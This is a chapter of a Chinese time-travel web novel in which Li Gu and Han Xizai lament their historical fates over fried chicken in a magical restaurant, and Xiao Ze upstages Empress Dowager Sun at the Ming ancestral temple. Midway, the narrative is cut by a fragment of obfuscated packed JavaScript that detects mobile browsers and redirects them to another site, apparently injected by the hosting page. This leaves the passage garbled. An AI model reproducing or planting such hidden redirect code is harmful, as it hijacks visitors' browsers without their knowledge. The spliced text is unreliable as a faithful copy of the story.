他曾对柴荣说:臣如今唯有一念,愿百年之后能配飨陛下庙堂,入侍帝陵之侧。 这很奇怪么? 不,一点也不! 周世宗柴荣,本就是这样一位气吞万里、席卷八荒,让人心向往之、甘愿为之含笑赴死的君王啊。 李谷见了太多分裂乱世的悲欢离合,比谁都渴望一个太平盛世的到来。 他等了大半生,终于等到了自己理想中的君主,他真的相信,柴荣能够实现一直以来的夙愿,自己能够活着看到天下一统的那一天。 可后来呢? 千秋万岁名,寂寞身后事,君臣二人都成了乱世中最后一点被掐灭的星火。 这事甚至还有一个相当吊诡的结尾。 当李谷的死讯传来,赵匡胤不知出于何种心思——可能是为了拉拢后周旧臣吧。 那时候,还有一些李重进这样的后周忠臣,在持续起兵反宋,负隅顽抗。 赵匡胤灵机一动,可不管李谷内心是怎么想的,手一挥,直接给李谷赠官「侍中」。 人都死了,还能跳出来抗议不成? 这是五代时期的最高赠官,柴荣给王朴的待遇就是赠「侍中」。 加上李谷的儿子也没什么节操,听说朝廷可以给子孙荫官,很高兴地接受了这件事。 就这样,李谷这个大周纯臣,到死都没有受过宋朝一官一职。 居然在名义上,成了宋朝的开国元勋。 也因此,他死后被写入了《宋史》,而不是《五代史》,终究没有被允许陪葬柴荣的庆陵。 …… “欺人太甚!” 李谷看完自己的命运剧本,怒不可遏:“赵匡胤这个该死的狗贼,怎么会有这么无耻的人,死了都要恶心人一把!” 自己想进世宗皇帝的庆陵,碍着他什么事了,他凭什么拦着! 韩熙载神色温和,抬手给他斟了杯茶:“惟珍,消消气。” “哼”,李谷端起茶,咕嘟咕嘟一饮而尽,犹自拽着好友的手吐槽,“抢人才的事情虽然见多了,但连死人都要争抢的,还是头一回见!” 赵匡胤真特么是朵奇葩! 再把剧本翻到最底下,发现好家伙,赵匡胤可喜欢干这事了。 大周忠臣韩通,抵抗陈桥兵变、殉国而死,他转头就给人赠了宋朝的中书令。 甚至还在悼词里直呼,这是我赵宋开国元勋:“艰险共尝,情好尤笃,言念元勋,将加殊宠。” 韩通泉下有知,怕是要当场揭棺而起,跟赵匡胤拼了:谁要做你家的开国元勋,滚呐!he——tui! 还有,起兵反宋的大周孤臣李重进、李筠,二人兵败后,宁可自焚而死,也不愿投宋。 再加韩通,三个倒霉蛋居然整整齐齐地被迫进了《宋史》,而不是《五代史.周书》。 太惨了,实在是太惨了。 接着,韩熙载翻开了自己的人生剧本。 …… 同光四年,韩熙载和李谷分别后,南下投奔了南吴。 此时,杨氏皇帝已成傀儡,实际掌握大权的是宰相徐温和养子徐知诰。 徐温很快病故,徐知诰忙着到处招揽人才,并随后建立了南唐,还宗李氏,改为了本来的名字李昪。 韩熙载锐意进取,一心北伐,和李昪偏守江南的保守立场之间,存在巨大的冲突。 李昪并不喜欢他,但因为他名望甚高,也不能随意打发,于是就派到了东宫教导太子李璟。 他没有参政的机会,时在东宫,不过每日赋诗,倾樽谈?而已。 后来,李璟登基,虽然欣赏他的才学,给予重用,却只是让他主持宗庙典礼、制定礼乐典章制度。 又因为屡次进言上书,切中时弊,被奸臣宋齐丘、陈觉等陷害,流放外地,几经宦海沉浮,在小官位置上闲居了整整二十一年。 一个才气逸发,被誉为当世风流之冠的少年,就这样,在郁郁不得志中消磨了青春岁月。 偌大江南之地,能容下一段名士风采的逸事:“时人谓熙载为神仙中人,风彩照物,每纵辔春城秋苑,人皆随观。” 说他丰神俊朗,玉振兰薰。 一年之中,时常四处打马吟游,观者如云,都追随在他身后不肯离去。 却容不下一颗欲报家国苍生的真挚灵魂。 他曾多次请缨北伐。 一次是南唐灭闽,晋帝北迁,中原无主,一次是周师大举压境,提议以攻代守,换掉无能的主帅,防止爆发内乱。 李璟置若罔闻,一个字不听。 一腔炽血浇注在坚冰上,个中滋味着实让人难受。 李煜登基后,盯上了一批来自北方、有通宋嫌疑的大臣。 韩熙载作为归正人群体中最出名的一个,自然首当其冲,心灰意冷之下,遂以声色自污。 李煜当然是一个好人,也是一个对得起家国百姓的好皇帝。 但即便是好人、好皇帝,一生中,也免不了有做错事的时刻。 画院待诏顾闳中,奉命前去监视他,绘制下了一卷《夜宴图》。 画上的韩熙载,手持蒲扇,襟怀散乱放荡不羁,却眉峰紧蹙。 在众星捧月之间显出一种游离在外的孤单,仿佛愁绪无限,思索着自己的心事。 有人说,李煜是一片善意,想要记录下这个场景,以此来规劝他约束自己的行为。 也有人说,李煜就是纯粹出于猜忌,看到韩熙载沉湎歌舞、醉生梦死,就放心了。 真相如何,俱埋于黄土故纸,无从知晓。 韩熙载死在了亡国前数年,没有亲眼看到南唐的覆灭。 他生前一直被打压,没有进入中枢为相,死后却获赠了宰相职,赐谥「文靖」。 而这,也是东晋太傅谢安的谥号,他就葬在了梅颐岭的谢安墓旁。 李煜对他的死十分痛惜,选墓时,费了一番心思,要求“山峰秀绝,灵仙胜境,与古贤丘表相近,使为泉台雅游”。 最后相中了谢安。 然而,九泉之下,韩、谢两人若当真见面,恐无此雅游之兴。 谢安晚年因淝水之战,功高震主,饱受晋孝武帝猜忌,桓伊曾为他在君前抚琴,一曲唱罢,泪落满衣。 最后郁郁而逝,正所谓,“雅志困轩冕,遗恨寄沧州。” 韩熙载看着谢安,再想起自己的一生,唯有感同身受、相对长嗟而已。 至此,当年在淮水边对饮发誓的两个少年人,都已经实现了他们的诺言——虽然只有前一半。 韩熙载说:“倘江南用我为相,必挥师定中原!” 李谷说:“若北国以我为相,来日轻取江南,当如探囊取物!” 他们都当上了宰相——虽然一个是生前位及,一个是死后赠官。 却都没有完成关于北伐/南征的诺言。 一统天下的希望,并不在他们手中,还要经历无比漫长的岁月才能实现。 平生功业消磨尽,付与苍苍淮河水。 唯有那一卷《韩熙载夜宴图》,与周宫功臣阁上的宰相画像,丹青妙笔,迎风飘舞,依稀诉说着往事悠悠。 …… 韩熙载看完,整个emo住了。 他南奔投吴,就是为了有一天能够北伐打回来,给惨死的全家复仇。 现在得知自己一生沧桑不得志,最后甚至客死江南了,这搁谁身上遭得住啊? 他叹息道:“惟珍,从前你我同游洛中的时候,看见晋时遗迹,还曾嗟叹过闻鸡起舞的那两位,少年知己,终成生离死别……” 哪知到了最后,别人的故事,竟都成了自己的人生。 “唉。” 李谷紧握着他的手,怆然无言。 李殷殷也跟着叹了口气。 要不说你俩是好朋友呢,不是一家人,不进一家门,命运凄惨得难分伯仲。 “好啦”,她见气氛低迷,抬手敲了敲桌子,“先来吃点东西吧!” 没有什么是一顿美食解决不了的,如果有,就再来一顿! 今天,新解锁了一个菜肴,名为蜂蜜芥末炸鸡。 【品名:蜂蜜芥末炸鸡】 【原材料:鸡、酒、胡椒、芥末、盐、蜂蜜】 【详解:谢灵运庄园里散养的走地鸡、李白家藏的烈酒、郑和下西洋带回来的胡椒粒、汉武帝御花园里种植的芥末、张士诚贩卖的上好良盐、袁术正准备兑水喝的一大罐蜂蜜(因为东西失窃,他正在府里暴走)】 韩熙载:“……” 他愿称这张纸为「受害者名单」。 李殷殷衣袖一挥,一盘香气四溢、酥酥脆脆的炸鸡,就出现在了餐桌上。 它色泽金黄,肉质丰美,看起来鲜嫩无比,似乎一口咬下去,就能体会到汁水爆浆的快乐。 旁边,还配了烧烤酱、蕃茄酱、咖喱酱等数种不同蘸料,各种颜色搭配起来,着实让人食指大动。 “可以开吃了”,她笑容满面地宣布。 食物被解锁出来之后,只要有功德币供应,都可以无限次兑换。 李谷未来作为后周宰相,治国安邦,积累了很多功德币,韩熙载有《夜宴图》,名列华夏十大名画,名气币数量也不少。 二人各出了一百万币,购买了一份炸鸡。 炸鸡还附赠了「雪泡缩脾饮」一杯。 这不是李殷殷搞出的什么新料理,而是南宋时期,风靡整个临安城的「快乐水」。 以酸酸甜甜的乌梅肉为主料,配以草果、甘草、甘葛等辅材,水煎成浓汁,待凉透以后,放入窖藏冰雪中一浸,清甜爽口,沁人心脾。 蜂蜜炸鸡的甜腻味道,也被一杯缩脾饮冲淡,缓和得恰到好处。 韩熙载一阵吃吃喝喝,感觉整个世界都明亮了,定了定神,问对面的好友:“惟珍日后有何打算?” 李谷不假思索道:“当然是去投奔世宗皇帝……” 话音未落,他就发现韩熙载用一种「糟糕,好像遇见智障了」的眼神看着他,徐徐道:“咱们现在是同光四年,柴荣才五岁。” 李谷挠了挠头:“是这样的哈。” 这可怎么办,一名身高八尺的靓仔陷入了沉思。 也不知道小世宗这时候投奔了姑父郭威没有。 要不,现在就去邢州尧山柴家庄,把人捡回家,从小来个圣天子养成计划? 朋友,你可真刑,韩熙载听完都无语了。 他见了自己的结局,第一反应就是赶快跑路,绝不第二次跳进南唐这个火坑,有多远跑多远。 但留在北方也不行,完全没活路。 韩熙载愁眉苦脸:“唉,怎么办。” 李殷殷平生最见不得美人皱眉,当即开始帮他想办法:“你别急啊,让我想想……” 她帮忙的殷勤程度,基本和对方颜值成正比。 少年版本的韩熙载就很俊朗美丽,史书说他“风流儒雅”、“谓之神仙中人,风彩照物”、“俊才绝俗,逸气凌云”。 所以,李殷殷很快想出一个办法,那就是让他追随平阳公主去唐昭宗年代。 韩熙载家破人亡,并无牵绊,又是后唐同光年间的进士。 后唐承唐朝之正朔,李存勖开国时,将李世民等人一并放入了天子七庙,奉为祖宗祭祀。 因此,对于平阳公主来说,韩熙载完全就是根正苗红的自己人,可以放心任用。 果然,她听完之后,颇为意动,当即就邀请韩熙载去旁边聊聊。 二人找了个无人处,长谈了许久。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823521|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一方要考察未来的下属能否托以大任,一方要探问对方是否是自己理想的君王。 良久,韩熙载终于下定了决心,敛袂下拜:“臣愿为殿下效死,赴汤蹈火,万死不辞,直至河清海晏的那一日!” “韩卿快起”,平阳公主满意地点点头。 真好,这下开国的文武领袖都全了,自己出征在外,朝中就有人坐镇,安邦定国了。 韩熙载也很满意。 同样是投唐,公主英姿绝世,百战声名,这不比磕碜的李昪家爷孙三代靠谱多了? 他到唐昭宗年间的第一件事,就是要宰了李嗣源这个老登——彼时,应该还是小登,以报满门家仇! 李谷伸长脖子,张望了几下,隐隐带着一丝好奇和羡慕。 愁啊。 好友已经有归宿了,自己该何去何从呢。 要让他背弃周世宗,心里十分不得劲。 但陛下现在才五岁,真要等长大,又不知会空耗多少年岁。 在他第三次长吁短叹的时候,李殷殷终于侧目,这也太影响食肆的用餐环境了。 “惟珍,你先不要急着做决定。” “以后抽奖,若抽到什么传送卡之类的,可以把你送到柴荣登基之后的位面,一劳永逸地解决这个问题。” 李谷总算镇定了下来:“有理,多谢店主仙人。” 他倚在门边,忽而含笑发问:“大家都姓李,店主你介意多收一个小弟吗?” “想得还挺美。” 李殷殷还没说什么,平阳公主已经似笑非笑地道:“本殿下也姓李,都没认亲呢,如何轮得到你?首先,你的容貌就不过关。” 李谷最多算中人之资,店主可是超级颜控,哪可能理他? “就是就是!” 小李东阳吃完炸鸡,溜溜哒哒地把盘子送回来:“我也姓李,我都没说呢!” 他眼珠一转,聚焦在李谷身上,眸子里忽然流露出一抹大大的狡黠。 随即背起手,故作老成地说:“李惟珍,你作为未来的后周宰相,有资格给我当小弟。也罢,我不嫌弃你,择日不如撞日,我们今天就结拜吧!” 李谷:“……” 嗨,哪来的熊孩子!! 他黑了脸,直接拎着后领把小幼崽提了起来,作势要打屁股。 “再举高一点!” 小幼崽还以为他在和自己玩,拍手叫好。 “店主,我失陪一下”,李谷唇角微扬,把小幼崽夹在腋下,准备找个无人僻静处,给他一个完整的童年。 李殷殷赶紧提醒他注意分寸:“这是明景帝给未来社稷选定的肱骨之臣,你可不能把人教训傻了。” “知道了”,李谷露出了一个大魔王的笑容。 小幼崽狠狠打了个哆嗦,尖叫道:“快放我下来!救命啊,有人欺负小孩了!陛下!云英殿下!于少保救命啊!” “你叫啊,他们都不在,叫破喉咙也没有人来救你!” 李谷径直把小幼崽提溜走了。 凑巧的很,此时,李殷殷打开手机,居然就收到了朱祁钰的消息: 【您的好友明景帝给您分享了一个视频:世伯威武.mp4】 后面还附着几条信息。 大意是,世伯制定了一个收拾孙太后与朱祁镇的计划,需要这般行事,还请店主帮忙配合一下。 李殷殷正想着景帝哪来的「世伯」,点开一看,一口雪泡缩脾饮直接喷了出来。 好家伙,萧赜真是个天才啊,竟然跑去景泰朝哭坟了! 就算她见多识广,也压根没见过这场面! 不行,这个热闹她非凑不可! …… 大明景泰位面。 当南齐的事情告一段落,萧鸾等人全部伏诛之后。 朱祁钰便带着萧子良一行人一起回到了本朝,提前做些准备。 大家从不同时空来到大明,齐聚一堂,各自的身份也非同一般。 准备去哪些地方观光,看怎样的景色,安排什么人接待,这些都得做好规划。 整个紫禁城上下都被调动了起来,热火朝天地忙碌着。 然而,这样一来,却是碍到了一个人的眼。 这个人就是孙太后。 孙太后可不信什么「真仙降世」的传闻,还以为是朱祁钰为了巩固地位,搞出来的噱头。 前段时间,太子朱见济刚死,没准就是为了防止有人因此生出二心,特意搞了这一茬! 更让孙太后难受的是,大明许多好东西都被拿出来招待客人,软禁在南宫的太上皇,却生活依然困苦,什么也没得到! 她爱子心切,立即叫人召朱祁钰入宫,准备训斥一番。 趁机让他解了好大儿的禁锢,最好能出来自由活动。 理由都想好了:你对素不相识的陌生人那么客气,怎么可以对你的兄长如此无情! 朱祁钰自打看完命运剧本,对这位名义上的嫡母正满心腻歪,毫不理会。 这一日,孙太后忍无可忍,终于将心一横,使出了杀手锏—— 到太庙去哭先帝! 这也算是她的老本行了,每逢不顺心如意,就去哭朱瞻基的牌位,逼迫朱祁钰退让。 一个「孝」字大过天去,贵为帝王又如何,由不得他不听。 太后銮架一动,听闻动静的百官便已陆续赶来,追在后面,连声道:“太后不可!” 闹的动静越大,越符合孙太后的期盼。 她特意吩咐人慢吞吞地行车,等到了太庙前,几乎文武百官全在此处了。 出了这么大的事,朱祁钰也第一时间赶了过来。 萧子良见他行色匆匆,少不得要问明缘由。 萧赜亦在旁听着。 听完朱祁钰列举完孙太后的种种「光辉事迹」,他面沉如水,忽然冷笑一声:“如此行径,也配为一国之母?” 苍天好生无眼! 他夫人裴惠昭,德音永念,芳铭彤管,才干与为人皆很完美,却早逝在太子妃之时,只能追尊为皇后。 孙太后和裴夫人一比,不啻云泥之别。 这么一号小人,竟然也能窃据高位,荣宠无限,一路升到太后位置,让裴夫人情何以堪? 朱祁钰很是无奈:“太后每次都是这一招,虽然老套,但好用。大明素来讲究孝悌,朕也不便当面拂她的意。” 萧赜眉头大皱。 他一贯护短如命,孙太后欺负他儿子的朋友,和欺负他儿子有甚么区别。 非得治治这厮不可! 他心念如电转,已经有了一个想法,抬手拍了拍朱祁钰的肩,神色温和地说:“小钰,朕有一计,可除二贼。” 他压低声音,说了自己的计划。 朱祁钰听得满脸震惊,心中更是一片迷茫:“啊这,世伯,这能行吗……” “放心吧”,萧赜却信心十足,“这天底下就没有朕收拾不了的人!” 他扭头一看,见谢脁满脸好奇地朝这边张望,当即挥挥手,把小月亮赶走。 未成年人不宜见到接下来的场面! 远远地,孙太后见到一行人到来,立即精神一振,叫开太庙之门,摆好阵势。 正准备扯着嗓子,喊出那一声:“先帝,你走得好惨呐!留下我们孤儿寡母,受尽欺负——” 这一招,在过去,曾经百试百灵。 不料今日,她的哭腔还没挤出来,旁边,就传来了一道情真意切的呼唤: “弟兄!瞻基,我苦命的弟兄,你走得好惨呐!” 声音之响亮,时机之巧妙,语气之一波三折。 正好把孙太后的这一声完完整整卡了回去,堵在嗓子眼,一张脸更是憋得通红。 好半天,她总算缓过神来,不由大怒。 大胆! 是何人在此大放厥词,攀附先帝! 她一回头,却瞠目结舌地看见,萧赜长驱而入,三步并作两步走上前来。 他面露悲恸之色,径直伸出手,在朱瞻基牌位的上方,饱含深情地拍了拍,一面痛呼道:“呜呼吾弟,英年早逝,朕心实痛,哀哉哀哉!” 孙太后爆发出一声尖叫:“快来人,拿下这个狂徒!” “吾弟!” 萧赜比她叫得更大声,完全盖过了她的声音。 他看似对着牌位自言自语,实则,全是说给文武百官听。 “为兄乃齐天子萧赜。小钰既然认朕为世伯,那瞻基你——便是朕异父异母、素未谋面的亲弟弟了,大家都是一家人!” 百官一听,果然踌躇地顿住了脚步。 哦,是先皇的世兄啊。 那就是皇帝自己的家事,我们管不了。 紧接着,萧赜又是一通激情发挥:“吾弟这一生,命真的好苦啊!” “天不假年,未介不惑而崩殂。于外,则大业未成,留下偌大江山,安南之地金瓯待复;于内,则小钰彼时年方七岁,尚不及承欢膝下,陶乐天伦!” “兄长终是迟来一步,与汝缘悭一面,未曾见上最后一眼!” “每每念之,怎能不悲从中来,潸然泪下!” 萧赜说到动情处,抹了抹眼泪。 随后竟然用力一拔,硬生生把嵌在太庙台子上的朱瞻基牌位给拔了出来,紧抱在怀中! 呵,不就是哭太庙吗,搞得谁不会似的! 他今天就要挟牌位以令弟妹,先哭为敬,让孙太后无庙可哭!